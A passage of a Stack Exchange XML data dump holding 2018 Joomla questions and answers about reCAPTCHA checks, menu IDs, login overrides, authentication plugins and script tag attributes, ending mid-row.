  <row Id="23629" PostTypeId="2" ParentId="4566" CreationDate="2018-10-19T09:55:44.040" Score="0" Body="&lt;p&gt;Pretty easy fix for Joomla custom soft 404 URLs that don't return the 404 header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlashack.com/blog/joomla/custom-404/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/custom-404/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visible on: &lt;a href=&quot;https://www.its-acoustique.fr/john-doe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.its-acoustique.fr/john-doe&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="12986" LastActivityDate="2018-10-19T09:55:44.040" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23630" PostTypeId="2" ParentId="23619" CreationDate="2018-10-19T11:50:55.003" Score="2" Body="&lt;p&gt;Fist of all, &lt;strong&gt;PHP is case sensitive&lt;/strong&gt;. This means that &lt;code&gt;CheckAnswer&lt;/code&gt; and &lt;code&gt;checkAnswer&lt;/code&gt; is not the same (note the capital c).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct usage is &lt;code&gt;$captcha-&amp;gt;checkAnswer('your_captcha_id')&lt;/code&gt;.&#xA;&lt;br/&gt;What's the problem with your approach:&#xA;&lt;br/&gt;You are passing the captcha's post result as the ID of your captcha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have used &lt;code&gt;captcha&lt;/code&gt; as the &lt;code&gt;$field_id&lt;/code&gt; when you included the captcha, you should write &lt;code&gt;$captcha-&amp;gt;checkAnswer('captcha')&lt;/code&gt; to check the answer.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2018-10-19T11:50:55.003" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23631" PostTypeId="2" ParentId="23628" CreationDate="2018-10-19T19:48:10.963" Score="3" Body="&lt;p&gt;If I understand it right. You wan't to get the ID of the current active menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theres a great example on this forum: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=642224&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=642224&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get application&#xA;$app    = JFactory::getApplication();&#xA;&#xA;// get menu&#xA;$menu   = $app-&amp;gt;getMenu();&#xA;&#xA;// get active menu id&#xA;$activeId = $menu-&amp;gt;getActive()-&amp;gt;id;&#xA;&#xA;// get active menu&#xA;$active = $menu-&amp;gt;getActive();&#xA;&#xA;// get active menu id&#xA;$activeId = $active-&amp;gt;id;&#xA;&#xA;// get active parent id &#xA;$currentMenuParent = $active-&amp;gt;parent_id;&#xA;&#xA;// get active menu item title&#xA;$menutitle = $active-&amp;gt;title;&#xA;&#xA;// get menu item by id&#xA;$otherMenuItem = $menu-&amp;gt;getItem( $menuID );&#xA;&#xA;// get other menu item title&#xA;$title = $otherMenuItem-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And what you want to do is this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app   = JFactory::getApplication();&#xA;$menu  = $app-&amp;gt;getMenu();&#xA;$id_of_your_active_menu = $menu-&amp;gt;getActive()-&amp;gt;id;&#xA;echo $id_of_your_active_menu;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12743" LastActivityDate="2018-10-19T19:48:10.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23632" PostTypeId="2" ParentId="23607" CreationDate="2018-10-19T19:58:53.070" Score="0" Body="&lt;p&gt;Make an override of &lt;code&gt;administrator &amp;gt; components &amp;gt; com_content &amp;gt; models &amp;gt; article.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside that override, find this function (line 549 in article.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($data['images']) &amp;amp;&amp;amp; is_array($data['images']))&#xA;{&#xA;    $registry = new Registry($data['images']);&#xA;&#xA;    $data['images'] = (string) $registry;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this before &lt;code&gt;$registry&lt;/code&gt; inside the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imgToCheck = $data['images']['image_intro'];&#xA;$application = JFactory::getApplication();&#xA;if (preg_match('~^[a-z0-9/.-]+$~i', $imgToCheck)) {&#xA;    // This is a URL&#xA;    $application-&amp;gt;enqueueMessage('URL OK');&#xA;} else {&#xA;    // Not an valid URL&#xA;    $application-&amp;gt;enqueueMessage(JText::_('Please use a valid URL'), 'Invalid URL');&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will test the url input for the intro image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really good at &lt;code&gt;preg_match&lt;/code&gt;, but this should only allow letters from A-Z and numbers and &lt;code&gt;/&lt;/code&gt;and &lt;code&gt;.&lt;/code&gt;...You can change this to match your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you! I'm not really expierenced in Joomla myself, but since no one answered this question, I though I would do my best to help.&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12352" LastEditDate="2018-11-30T00:44:56.147" LastActivityDate="2018-11-30T00:44:56.147" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23633" PostTypeId="2" ParentId="23619" CreationDate="2018-10-20T06:42:51.383" Score="1" Body="&lt;p&gt;Never got it to work with Joomla's &lt;code&gt;$captcha-&amp;gt;checkAnswer()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead, I've omitted Joomla's checking solution and went straight with Google's checking API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm successfully using for the checking part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$secretKey = &quot;my_secret_key&quot;;&#xA;$ip = $_SERVER['REMOTE_ADDR'];&#xA;$response=file_get_contents(&quot;https://www.google.com/recaptcha/api/siteverify?secret=&quot;.$secretKey.&quot;&amp;amp;response=&quot;.$form[2]['value'].&quot;&amp;amp;remoteip=&quot;.$ip);&#xA;var_dump($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$form[2]['value']&lt;/code&gt; is the response from the reCaptcha&lt;/p&gt;&#xA;" OwnerUserId="12743" LastActivityDate="2018-10-20T06:42:51.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23635" PostTypeId="1" CreationDate="2018-10-22T11:06:42.600" Score="1" ViewCount="150" Body="&lt;p&gt;I have a custom component, from which I am taking my data &amp;amp; creating a new article with extra field values(from code). Below, is my code &amp;amp; attempt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('components.com_content.models.article', JPATH_ADMINISTRATOR);&#xA;&#xA;    $app = JFactory::getApplication();&#xA;    // Get the model&#xA;    $model = $this-&amp;gt;getModel(&quot;lists&quot;);&#xA;    $newsLists = $model-&amp;gt;getNewsList();&#xA;    foreach ($newsLists as $news)&#xA;                {&#xA;                    $articleModel = &quot;&quot;;&#xA;                    $articleModel = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;&#xA;                    $data = array();&#xA;                    $data['title'] = trim($news-&amp;gt;title);&#xA;                    $data['state'] = trim($news-&amp;gt;state);&#xA;                    $data['language'] = '*';&#xA;                    $data['catid'] = '221';&#xA;                    $data['com_fields']['title'] = trim($news-&amp;gt;title);&#xA;                    $data['com_fields']['source'] = trim($news-&amp;gt;publication);&#xA;                    $data['com_fields']['page-no'] = trim($news-&amp;gt;pageno);&#xA;                    $data['com_fields']['link'] = trim($news-&amp;gt;externalurl);&#xA;                    $data['com_fields']['attributes'] = trim($news-&amp;gt;attributes);&#xA;                    $data['com_fields']['downloads'] = trim($news-&amp;gt;newsfile);&#xA;                    $data['com_fields']['date-free-text'] = trim($news-&amp;gt;published_date);&#xA;                    $data['com_fields']['state'] = trim($news-&amp;gt;state);&#xA;&#xA;                    $articleModel-&amp;gt;save($data);&#xA;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, it creates the article correctly in the database(in Joomla 'content' table) but it only saves the single extra field value of 'title' ($data['com_fields']['title']) in Joomla fields_value table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code when I print $data;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [title] =&amp;gt; unveils&#xA;    [state] =&amp;gt; 2&#xA;    [language] =&amp;gt; *&#xA;    [catid] =&amp;gt; 221&#xA;    [com_fields] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; unveils&#xA;            [source] =&amp;gt; &#xA;            [page-no] =&amp;gt; &#xA;            [link] =&amp;gt; images/news/unveils.pdf&#xA;            [attributes] =&amp;gt; &#xA;            [downloads] =&amp;gt; &#xA;            [date-free-text] =&amp;gt; &#xA;            [state] =&amp;gt; 2&#xA;        )&#xA;&#xA;)&#xA;Array&#xA;(&#xA;    [title] =&amp;gt; Workshop&#xA;    [state] =&amp;gt; 1&#xA;    [language] =&amp;gt; *&#xA;    [catid] =&amp;gt; 221&#xA;    [com_fields] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; Workshop&#xA;            [source] =&amp;gt; &#xA;            [page-no] =&amp;gt; &#xA;            [link] =&amp;gt; /images/news/workshops.pdf&#xA;            [attributes] =&amp;gt; &#xA;            [downloads] =&amp;gt; &#xA;            [date-free-text] =&amp;gt; 20.04.2015&#xA;            [state] =&amp;gt; 1&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the wrong in foreach loop? Note : all the extra fields are already created from &quot;Content &gt;&gt; Fields&quot;&lt;/p&gt;&#xA;" OwnerUserId="12988" LastActivityDate="2018-10-22T11:06:42.600" Title="Joomla add article &amp; extra field values from custom component" Tags="|joomla-3.x|articles|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23636" PostTypeId="1" AcceptedAnswerId="23638" CreationDate="2018-10-22T18:55:33.843" Score="1" ViewCount="250" Body="&lt;p&gt;I want to add an extra field onto the admin login page. I already have the front end login override sorted, just having trouble with the admin side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_login/views/login/tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adminitrator/templates/isis/html/com_login/login/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the override works because, if I echo in the override file. example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;div&amp;gt;fff&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fff displays on the login screen on the admin side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the fff is generated outside the form part, so it doesn't help adding my field in the above override file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form part are created with the following 2 lines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loginmodule = LoginModelLogin::getLoginModule('mod_login');&#xA;echo JModuleHelper::renderModule($loginmodule, array('style' =&amp;gt; 'rounded', 'id' =&amp;gt; 'section-box'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I add a field to the login form without changing core joomla files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if there is a plugin event for this situation. An plugin event will suite my situation better than an override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11554" LastActivityDate="2018-10-23T07:12:36.037" Title="Admin side login template override, extra field on login" Tags="|joomla-api|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23637" PostTypeId="2" ParentId="23607" CreationDate="2018-10-22T19:41:48.967" Score="1" Body="&lt;p&gt;To prevent invalid values from being passed to the parent window, you can create an override of mediafield.js (and minified mediafield.min.js) which is located in /media/media/js/ folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add your filtering/validation here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // bind insert&#xA;        content.on('click', self.options.buttonSaveSelected, function(){&#xA;            var value = content.find('#f_url').val();&#xA;            if (value) {&#xA;                self.setValue(value);&#xA;            }&#xA;            self.modalClose.call(self);&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This snippet should strip out HTML from value (&lt;a href=&quot;https://stackoverflow.com/questions/822452/strip-html-from-text-javascript#822486&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            var tmp = document.createElement(&quot;div&quot;);&#xA;            tmp.innerHTML = value;&#xA;            value = tmp.textContent || tmp.innerText || &quot;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To prevent invalid values from being saved to database, no action should be needed as by default HTML is filtered out from the field. But if you want to change the filter, create a content plugin with &lt;code&gt;onContentPrepareForm&lt;/code&gt; event and set the filter of the field there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data)&#xA;{&#xA;    if ($form-&amp;gt;getName() !== 'com_content.article')&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    $form-&amp;gt;setFieldAttribute('image_intro', 'filter', 'SOMEFILTER', 'images');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-22T19:41:48.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23638" PostTypeId="2" ParentId="23636" CreationDate="2018-10-23T07:12:36.037" Score="0" Body="&lt;p&gt;The file to override is &lt;code&gt;administrator/modules/mod_login/tmpl/default.php&lt;/code&gt;. Note that login forms do not support extending (thus the need for overrides). This means any field you add will not be used for login process. You can still make use of the fields by using a system plugin that runs on &lt;code&gt;login&lt;/code&gt; task.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-10-23T07:12:36.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23639" PostTypeId="2" ParentId="20997" CreationDate="2018-10-23T08:24:11.403" Score="-1" Body="&lt;p&gt;You can get the error using a conditional statement, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$send)&#xA;{&#xA;    $error = $send-&amp;gt;__toString();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8936" LastEditorUserId="168" LastEditDate="2018-10-23T14:04:58.060" LastActivityDate="2018-10-23T14:04:58.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23640" PostTypeId="1" CreationDate="2018-10-23T13:59:04.770" Score="3" ViewCount="71" Body="&lt;p&gt;Inside the recaptcha.php file of the Recaptcha Plugin on Joomla 3.6, I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case '2.0':&#xA;            $theme = $this-&amp;gt;params-&amp;gt;get('theme2', 'light');&#xA;            $file  = 'https://www.google.com/recaptcha/api.js?hl=' . JFactory::getLanguage()-&amp;gt;getTag() . '&amp;amp;amp;render=explicit';&#xA;&#xA;            JHtml::_('script', $file, true, true);&#xA;&#xA;            $document-&amp;gt;addScriptDeclaration('jQuery(document).ready(function($) {$(window).load(function() {'&#xA;                . 'grecaptcha.render(&quot;' . $id . '&quot;, {sitekey: &quot;' . $pubkey . '&quot;, theme: &quot;' . $theme . '&quot;});'&#xA;                . '});});'&#xA;            );&#xA;            break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which creates the string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://www.google.com/recaptcha/api.js?hl=en-US&amp;amp;amp;render=explicit&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loading the api.js for the recaptcha.&#xA;Since I am using Rocket Loader from Cloudflare I would like to change this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://www.google.com/recaptcha/api.js?hl=en-US&amp;amp;amp;render=explicit&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script data-cfasync=&quot;false&quot; src=&quot;https://www.google.com/recaptcha/api.js?hl=en-US&amp;amp;amp;render=explicit&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where after the &#xA;&#xA;&lt;p&gt;I tried using a variable $cloud = 'data-cfasync=&quot;false&quot;'; and changing JHtml::&lt;em&gt;('script', $file, true, true); to JHtml::&lt;/em&gt;('script', $cloud, $file, true, true); or I tried JHtml::script data-cfasync=&quot;false&quot; ($file, true, true); or JHtml::&lt;em&gt;('script data-cfasync=&quot;false&quot;', $file, true, true); or JHtml::&lt;/em&gt;('script'.'data-cfasync=&quot;false&quot;', $file, true, true);&#xA;And nothing worked....... &#xA;I know some of them are stupid but I am not a real programmer as you have figured out already.&#xA;How can I do that?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12991" LastEditorUserId="12991" LastEditDate="2018-10-23T14:33:07.547" LastActivityDate="2018-10-24T08:16:57.480" Title="I would like to add a string after 'script' at JHtml::_('script', $file, true, true);" Tags="|joomla-3.x|php|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23641" PostTypeId="1" AcceptedAnswerId="28061" CreationDate="2018-10-23T14:51:19.967" Score="1" ViewCount="1572" Body="&lt;p&gt;Any way to login direct with URL without user need type user and password?&#xA;I need some simple to run in my intranet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some like &lt;a href=&quot;http://mydomain.com/?user=name?password=9999&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mydomain.com/?user=name?password=9999&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2020-05-18T10:18:40.423" Title="How to login via url" Tags="|login|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23642" PostTypeId="1" AcceptedAnswerId="23650" CreationDate="2018-10-23T16:35:03.027" Score="0" ViewCount="113" Body="&lt;p&gt;Developing a testing system as a diploma.&#xA;Got a question. registration for users who will take the test should be avoided.&#xA;I thought to create temporary accounts, which after the passage will be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you create such a mechanism in the module in which the test is created, will it be safe?&#xA;2) How to request contact information when you first enter?&lt;/p&gt;&#xA;" OwnerUserId="12405" LastActivityDate="2018-10-26T11:26:01.703" Title="Joomla 3 temporary accounts" Tags="|joomla-3.x|security|" AnswerCount="1" CommentCount="1" ClosedDate="2018-10-26T07:59:13.820" ContentLicense="CC BY-SA 4.0" />
  <row Id="23643" PostTypeId="1" AcceptedAnswerId="23645" CreationDate="2018-10-23T19:43:48.567" Score="1" ViewCount="202" Body="&lt;p&gt;I'm trying to dismiss the login if my &lt;code&gt;$completed&lt;/code&gt; var is false.&#xA;I can make it work with &lt;code&gt;die()&lt;/code&gt; but I wan't to know how to do this correct, so that the user gets returned to the login page with a error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried with &lt;code&gt;return NULL;&lt;/code&gt;, &lt;code&gt;return false;&lt;/code&gt; and just &lt;code&gt;return;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't make it work or find the solution anywhere. I really hope you can help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class plgAuthenticationTestlogin extends JPlugin{&#xA;    function onUserAuthenticate( $credentials, $options, &amp;amp;$response ){&#xA;        $captcha_plugin = JFactory::getConfig()-&amp;gt;get('captcha');&#xA;        $captcha = JCaptcha::getInstance($captcha_plugin);&#xA;        $completed = $captcha-&amp;gt;CheckAnswer('captcha');&#xA;        if(!$completed){&#xA;            $response-&amp;gt;status = JAuthentication::STATUS_FAILURE;&#xA;            $response-&amp;gt;error_message = 'captcha not correct';&#xA;            die(&quot;not valid reCaptcha&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is placed inside a plugin made. placed inside the folder: plugins &gt; authentication &gt; mypluginFolder &gt; myplugin.php&#xA;This plugin works fine as described above - The login is aborted if I use &lt;code&gt;die(&quot;not valid reCaptcha&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-10-24T06:13:27.323" LastActivityDate="2018-10-25T08:20:45.790" Title="Avoid login from onUserAuthenticate" Tags="|joomla-3.x|plugin|authentication|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23644" PostTypeId="2" ParentId="18516" CreationDate="2018-10-24T00:53:52.793" Score="1" Body="&lt;p&gt;If I understand well, you want to display the category select in the edit form or in a list view as a filter ?&#xA;If so, I guess you use a form for that. Just like the docs say about adding category to the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing an MVC Component/Adding categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you need to do is to add the Category field in your form xml and then render the field in your view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following, replace the &quot;com_mycom&quot; with your component name and the viewname.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example :&#xA;in the &lt;strong&gt;components/com_mycom/models/forms/viewname.xml&lt;/strong&gt; add the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;category_id&quot; type=&quot;category&quot; extension=&quot;com_mycom&quot; default=&quot;&quot;&#xA;       label=&quot;COM_MYCOM_FIELD_CATEGORY_LABEL&quot; &#xA;       description=&quot;COM_MYCOM_FIELD_CATID_DESC&quot;&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your view &lt;strong&gt;components/com_mycom/views/&lt;em&gt;viewname&lt;/em&gt;/tmpl/edit.php&lt;/strong&gt;&#xA;you have to render the field.&#xA;example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('category_id'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to be more specific about how and where exactly you need it.&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-10-24T00:53:52.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23645" PostTypeId="2" ParentId="23643" CreationDate="2018-10-24T06:12:57.977" Score="0" Body="&lt;p&gt;Looks like it's working this way. But is that the correct approach?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!$completed){&#xA;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;enqueueMessage('ReCaptcha not validated', 'Fail');&#xA;    $app-&amp;gt;redirect(JRoute::_('index.php'));&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel like it's wrong and I should be using &lt;code&gt;JAuthentication::STATUS_FAILURE;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12743" LastActivityDate="2018-10-24T06:12:57.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23646" PostTypeId="2" ParentId="23640" CreationDate="2018-10-24T07:34:06.027" Score="2" Body="&lt;p&gt;As of Joomla 3.7, the arguments for &lt;code&gt;JHtml&lt;/code&gt; were updated whilst keeping backward compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So rather than passing &lt;code&gt;, true, true&lt;/code&gt;, you need to pass an array of options, then an array of attributes, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', $file, array('version' =&amp;gt; 'auto'), array('data-cfasync' =&amp;gt; false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can have a look at the source code here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/HTML/HTMLHelper.php#L679&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/HTML/HTMLHelper.php#L679&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-10-24T07:34:06.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23647" PostTypeId="2" ParentId="23640" CreationDate="2018-10-24T08:16:57.480" Score="0" Body="&lt;p&gt;OK the answer came from here &lt;a href=&quot;https://stackoverflow.com/questions/52953066/i-would-like-to-add-a-string-after-script-at-jhtml-script-file-true-t&quot;&gt;https://stackoverflow.com/questions/52953066/i-would-like-to-add-a-string-after-script-at-jhtml-script-file-true-t&lt;/a&gt; where I posted the same question. In Joomla version 3.4.8 that I have on the website the way to put a string inside the  tags is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$script = '&amp;lt;script src=&quot;' . $file . '&quot; data-cfasync=&quot;false&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addCustomTag($script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thank you very much&#xA;I appreciate your help&#xA;Best Regards&#xA;George&lt;/p&gt;&#xA;" OwnerUserId="12991" LastActivityDate="2018-10-24T08:16:57.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23648" PostTypeId="1" AcceptedAnswerId="23706" CreationDate="2018-10-24T13:09:24.447" Score="2" ViewCount="280" Body="&lt;p&gt;Since the latest update of Joomla I can no longer approve a user via the link in the registration approval email.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of 3.8.13, Joomla is securing the process on approving an user after an email notification by requesting the administrator, who is going to approve the request, to login into the frontend. After the administrator logged in, they are redirected to the activation URL and the account is activated. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However this does not work. I click the link and get the message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Please log in to confirm that you are authorised to activate new accounts.&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I then log in as Super User I get the message: &#xA;&lt;strong&gt;&lt;em&gt;You are not authorised to view this resource&lt;/em&gt;&lt;/strong&gt; &#xA;and the user remains unapproved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to how to get around this issue? &lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2019-07-12T16:19:45.063" Title="Unable to approve user registrations via email link" Tags="|user|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23649" PostTypeId="2" ParentId="23643" CreationDate="2018-10-25T08:20:45.790" Score="1" Body="&lt;p&gt;This is not a correct way of doing this as you should not use &lt;code&gt;'die'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper way to do this will be using this method in the Authentication plugin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onUserAuthenticate($credentials, $options, &amp;amp;$response)&#xA;{&#xA;    // check your condition and stop login here&#xA;    $response-&amp;gt;status        = JAuthentication::STATUS_FAILURE;&#xA;    $response-&amp;gt;type          = 'Test';&#xA;    $response-&amp;gt;error_message = JText::sprintf('JGLOBAL_AUTH_FAILED', JText::_('NOT_LOGGED_IN'));&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You cannot set redirect here, to set redirect make sure to set it in the parameter(variable in JInput)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the method is not triggered make sure to set the ordering in the correct sequence.&lt;/p&gt;&#xA;" OwnerUserId="8987" 